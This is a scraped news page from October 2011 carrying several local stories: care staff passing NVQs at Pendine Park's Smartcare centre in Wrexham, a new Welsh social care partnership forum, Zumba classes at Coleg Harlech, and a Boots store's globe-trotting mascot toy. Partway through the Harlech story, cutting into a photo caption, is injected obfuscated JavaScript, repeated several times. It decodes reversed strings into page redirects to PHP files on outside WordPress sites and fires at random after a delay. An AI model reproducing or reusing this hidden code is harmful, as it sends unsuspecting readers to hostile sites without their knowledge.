Category: News

Inspirational Tracey leads by example

Pendine Park...Smartcare annual awards at Hillbury 2011. Pictured is The Mayor and Mayoress Cllr Ian Roberts and Hillary Roberts with the Pendine Park's staff who passed their NVQ level Two or NVQ level Three qualifications.

A new generation of care practitioners is being inspired by the story of a training firm boss.

Tracey Evans, the manager of Smartcare, started out as a YTS trainee at the award-winning Pendine Park  care organisation.

Twenty five years on and her proteges were celebrating at a glittering award ceremony in Wrexham after completing their National Vocational Qualifications (NVQs)

No fewer than 28 members of Pendine Park’s staff passed their NVQ level Two or NVQ level Three qualifications.

And a further 21 care practitioners working at other care homes across the region passed their NVQ qualifications at Wrexham-based Smartcare, which is Pendine Park’s training arm.

Wrexham mayor Cllr Ian Roberts was on hand to congratulate the successful learners and hand them their diplomas.

Smartcare Teaching Care Centre manager, Tracey Evans, explained that this is the third year the award ceremony has taken place and standards continue to improve.

She said: “Smartcare was set up 10 years ago by Pendine Park proprietors Mario Kreft MBE and his wife Gill, after they struggled to find somewhere to train staff to the highest possible standard.

“We now work alongside Cardiff-based Associated Community Training who are contracted by the Welsh Government to provide a training framework with NVQs to industry standard.”

Tracey, who began her career at Pendine Park 25 years ago as a YTS Care Practitioner before working her way up to becoming manager of Pendine Park’s Gwern Alyn care home and eventually manager of Smartcare, added that the vision for Pendine Park remains unchanged.

She said: “We treat our clients in the best way we can by always aiming to provide the best possible care with dignity and respect.

“We are teaching a recognised work-based learning qualification in social care which in my view is second to none. However, we have to thank our brilliant training centre staff. They are dedicated and committed to our learners and their profession.”

Pendine Park’s head of Workforce Development, Anita Curley, added: “This  has proved to be an exceptional year for Smartcare Teaching Centre here at Pendine Park and the learners have done very well indeed.

“The NVQ qualification is coming to an end and will now be know as a Diploma in Health and Social Care. Some of this year’s learners will be the final learners to work through the NVQ apprenticeship framework.

“The Pendine Park Training Centre, Smartcare, means training is standardised and means care homes across the region can have quality, bespoke training to suit their needs and those of the wider care industry.

“I am delighted with the way Smartcare has developed and the standard of training on offer is, without doubt, exceptional.”

Kathryn Wing of Cardiff-based Associated Community Training Quality Co-ordinator has worked with Smartcare to ensure the standard of training delivered is to industry standard for more than three years.

She said: “We provide Welsh Assembly Government funding to Smartcare and the training they provide has been so exceptional we have provided additional funding to support the training on offer.

“Smartcare is one of the leading providers of training within the care sector in North Wales and in particular the Wrexham region. Smartcare continues to out perform and consistently leads the way in care sector training.”

Cllr Ian Roberts was delighted to attend the event and to present the successful learners with their diplomas.

He said: “Pendine Park has a reputation, richly deserved I might add, as a leading provider of care within the Wrexham area and the wider North Wales community.

“It’s an honour for me to join with learners and to celebrate their personal successes with them. Training can be hard and finding the time to juggle learning alongside work and family commitments is never easy. So well done to them all.

“We should all be very proud to have a care organisation such as Pendine Park here in Wrexham.”

Former mayor of Wrexham Cllr Jim Kelly also attended the event and added how thrilled he was to once again have the opportunity to once again celebrate the achievements of Smartcare learners.

He said: “Pendine Park is a wonderful organisation and I am proud of the fact it is based here in Wrexham. It is quite simply a marvellous institution and I am immensely proud to be associated and to have been involved with it and its staff for so many years.”

Sharon Jones, manager of Pendine Park’s Cae Bryn home in Wrexham says she is delighted no fewer than five of her staff passed their NVQ’s at either Level Two or Three.

She said: “I’m really, really pleased with the efforts of staff who took the time and put in the effort to pass these important qualifications.

“They all know that their efforts can only be of benefit to the most important people of all – our clients.”

Cae Bryn care practitioner, Susan Pearl Jones, passed he NVQ Level Two and said: “I found the course really helpful and can say passing the qualification has given me more confidence while carrying out my duties. It can only help me and I know hope to gain further qualifications.”

Pendine Park Hillbury Care Home care practitioners, Celyn Evans and Natasha Shone were each celebrating success with Celyn passing his NVQ Level Two and Natasha her Level Three.

Celyn, who has worked at Hillbury for more than four years said he was delighted to have passed the course which he found stimulating and rewarding while Natasha added that passing the Level Three course had given her more confidence.

Pendine Park Gwern Allen had five members of staff successful in passing their NVQ’s at either Level Two or Three.

Katarzyna Marciak, who originates from Poland, was delighted to have passed her NVQ Level Three.

She said: “It’s been a special year for me as I gave birth to my baby daughter Julia just a few weeks ago. I am on maternity leave at the present time but look forward to getting back to work.

“I have been at Gwern Alyn for more than five years and passing my NVQs has helped me a great deal with my day to day duties.”

Care practitioner Sarah Jones also passed her NVQ Level Three and  added that the qualification has given her a great deal of confidence while helping her future development.

Pendine Park’s Penybryn care now has three newly qualified members of staff.

Care practitioner Amy Hughes passed her NVQ Level Two and said the course was hard work but very rewarding.

Heather Roberts also passed her Level Two NVQ in Health and Social Care and is now going onto Chester University to study Mental Health Nursing. She added that the course really helpful and a great stepping-stone in her future development.

Meanwhile Michelle Lewis passed her NVQ Level Two and is already studying for her Level Three.

Caption

 Awards-8 Pictured is The Mayor and Mayoress Cllr Ian Roberts and Hillary Roberts with the Pendine Park’s staff who passed their NVQ level Two or NVQ level Three qualifications.

Wednesday October 19th, 2011

—

News

—

New vision for better quality of life for vulnerable people in Wales

Mario Kreft of Pendine Park

A new partnership is aiming to improve the quality of life for vulnerable people across Wales.

The influential Forum, which brings together the key players of social care in Wales together, has been welcomed by independent providers as “a major step forward”.

Launched by Gwenda Thomas, the Deputy Minister for Social Services, the Partnership Forum includes the Chairs of the Care Council for Wales, Children in Wales, Wales Council for Voluntary Action, the Welsh Local Government Association and Care Forum Wales.

It was set up following the publication last February of Sustainable Social Services for Wales: a Framework for Action, the Welsh Government’s vision for social services.

According to Mario Kreft MBE, the Chair of Care Forum Wales, which represents the independent sector of Wales on the Forum, the creation of the Forum was an extremely positive development.

He said: “Now is the time for Wales to be very confident about how it is going to deliver the very best social care services to our people.

“The independent sector  can  bring a wealth of experience into our detailed discussions about reconfiguring our social services.

“Most of the social services in Wales are provided by the independent sector working in partnership with the public sector.

“We need to make sure that those public services provided by the independent sector are fully integrated and that they are delivered within a public services ethos.

“The challenge is to make this people-centred approach a reality. The real trick in this is to ensure stability of the social care sector while we’re moving in that transition at a time of diminishing budgets.

“What we’ve got to do is be confident that we can come through that and we need our colleagues in the Welsh Local Government’s Association to work with us.

“We have to  develop a new relationship with local government. At the moment that relationship isn’t good enough to deliver the services to vulnerable people.

“It is therefore our responsibility to work with our colleagues in local government to make sure we can do much better in the future.

“The perception of social services needs to change. Rather than being a drain on the state they should be seen as force for economic good.

“They keep people in work, they stimulate economic activity. In fact, social services account for six per cent of the total workforce in Wales.”

“The challenge Care forum Wales will rise to is to work with everybody that’s prepared to make this a reality, and the challenge to our partners is to do the same.””    

Mrs Thomas said: “Our distinctive Welsh vision is for social services that are sustainable, high- quality, responsive and have the public at heart. I can’t deliver that ambitious agenda alone – we need a genuine collaborative approach across Wales.”

“We will only deliver this innovative agenda if we recognise that the people who use these services must be the ones driving it forward.

“I want users and carers to be involved at all levels of the service so that we get this right. From their personal care to the strategies discussed at this forum, users must have a voice and real control.”

“My challenge to this Forum is to make this people-centred approach a reality.”

 “Delivery is about changing people’s lives for the better. I have asked this forum to establish a meaningful way to know if we are doing that. Not fine words, but hard facts on the ground. I want a framework for real life outcomes that tells us whether people are getting a better service or not.”

“These challenges are for all of us in social services in Wales – for every care home worker, every social worker, for every manager and, of course, for me as Deputy Minister. Social Services in Wales are changing – today is a major step forward to deliver.”

Tuesday October 18th, 2011

—

News

—

Where are the Men of Harlech?

Tu$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor Eirian Roberts with Zumba class students, from left, Isabelle Evans, Paige Prescott, Sophie Petford and Sheena Sloan at Coleg Harlech.

A fitness instructor has launched an appeal to find the real Men of Harlech.

Eirian Roberts has been inundated with women enrolling in her Zumba classes at Coleg Harlech.

Although more than 70 women have signed up, not one man has come forward to try the hip-swivelling, Latin-inspired workout.

The classes were the brainchild of Coleg Harlech short course development worker Carys Wigglesworth who was amazed at the interest in the classes from local women.

She said: “Zumba is a new initiative and I am delighted at how popular the classes are proving to be. To be honest I initially posted a message to a few of my Facebook friends that the courses were starting.

“They told their friends and before I knew it we had more than 70 ladies signed up. The idea for the Zumba classes came off the back of Bliss the musical Russell Grant directed in our theatre here at Coleg Harlech.

“It’s great to see so many people from the community supporting Coleg Harlech and using the facilities in such a positive way. I do hope to develop more courses and we will be starting a pilates course in October which will hopefully involve even more of the community.”

Eirian, who runs her own company called Eirobics, says the new exercise craze is a great fun way to keep fit.

She added: “It really is a high-energy class based on international rhythms. We use salsa, samba and tango beats and there is lots of dance moves involved. As well as running a course at Coleg Harlech I also run courses at Bangor as well as doing private sessions.

“I can tailor the sessions to suit any level of fitness. It’s all about getting the heart working and using those muscles.

“I have professional women, housewives and teenage girls coming to the Coleg Harlech sessions but we are all waiting for the first man brave enough to tackle the classes!”

Isabelle Evans, 61, who lives in Harlech loves the course and says it’s a great way to keep her fitness levels up.

She said: “To be honest I swim and do lots of other fitness work but Zumba is something I will definitely pursue. It’s great fun and I have really enjoyed the sessions.

“As for the lack of men, well I just think they are simply more inhibited than women. I don’t know why, I am sure if they came along and had a go they’d love it too.”

Tina Sloan, 37, of Llanbedr says it’s nice to see the Coleg Harlech facilities being used by the community.

She said: “I really enjoyed Zumba and, although tonight was my first session, it certainly won’t be my last. It’s a great way of keeping fit and I really enjoyed the music and the fact we could go at our own pace.

“I agree it would be nice to see a few men give it a try but they just don’t seem to be able to let themselves go quite so easily.”

Paige Prescot, of Barmouth, and Sophie Petford, of Dolgellau, said they had thoroughly enjoyed their first Zumba session and would be coming back to Coleg Harlech for more.

Paige said: “I really enjoyed it and it will be a great way of staying in shape. The music was really good too and I just enjoyed the whole evening if it was hard work.”

Sophie agreed adding: “I ache a bit but it was great fun. I’ll definitely be coming again and it’s nice to be able to use the Coleg Harelch facilities as there isn’t that much for us to do in the area.”

Caption

 Tutor Eirian Roberts with Zumba class students, from left, Isabelle Evans, Paige Prescott, Sophie Petford and Sheena Sloan at Coleg Harlech.

Tuesday October 18th, 2011

—

News

—

Globe-trotting adventures

1110LorraineDenver01 web 1

 A soft toy found abandoned in a muddy puddle has gone on to enjoy a millionaire jet setting lifestyle with the staff from a busy Boots store who adopted him.

Woolly Boots, a blue stuffed character from the Channel Four children’s programme The Hoobs, was found outside the back of the Boots store in Market Walk shopping centre, Chorley, on a cold January day. Soaking wet and unloved, he was brought into the warm and washed off.

Since that day in 2009, he has become a cherished member of the 21 strong Chorley Boots team and travelled all over the world with them, including exotic destinations such as Venice, New York, Australia and the Caribbean.

He has also attended family events and had VIP treatment at the annual Christmas party.

Kerry Lawson, who has been team manager at the store for two years, said: “He has become our much loved mascot I suppose and his escapades always raise a smile. He has been to a colleague’s wedding and I suppose he is just an important part of the Boots team in Market Walk.

“When he is not off gallivanting, he sits in a box up on the notice board in the staff canteen looking at everyone. He is surrounded by photos of his trips abroad and he must have been on most people’s holidays.

“He has just got back from Tenerife but that is probably his last trip before Christmas because I think everyone has been on holiday now.”

The lucky little stuffed creature has been all over the world, including Australia, Egypt, Miami, Barbados, Italy and France to name a few, and always travels first class in hand luggage to ensure his smooth journey and safe carriage. His accompanying adults always make sure he has plenty of holiday snaps to add to his collection.

He has even had outfits made for him by Judith Farnworth, a dispenser at the Market Walk store.

Judith of Coppull, Chorley, said: “I made him a tuxedo for our Christmas party and when he went to Australia, I made him some kharki shorts, a white vest and a little hat with corks hanging off it, just so he felt like he fitted in when he got there.”

Woolly Boots also has his own Facebook page where staff post pictures of his travels and details of his latest adventures.

He has survived remarkably unscathed despite almost being bitten by a squirrel while he was on an outing to Chester and recently being kidnapped and held to ransom to raise money for charity.

Kerry, 24, from Clitheroe, said: “We recently held a fundraiser for Macmillan and poor Woolly Boots was kidnapped by a rabbit. He is worth a lot to us and we all chipped in to donate £20 to Macmillan in return for his release which was orchestrated by Aslan the lion. We were all relieved to have him back.”

Patrick Duckett, Market Walk manager, said he had never met the globe trotting toy but his amazing tales couldn’t fail to bring a smile to your face.

He said: “Market Walk is a lovely place to come and shop and I think this is partly down to the friendly people who work here and their sense of humour.

“I am very amused to hear about Woolly Boots and perhaps I ought to offer to take him on holiday with me next time and increase the amazing amount of destinations he has been to.”

Caption: Staff member Lorraine Denver with the much-travelled Woolly

Tuesday October 18th, 2011

—

News

—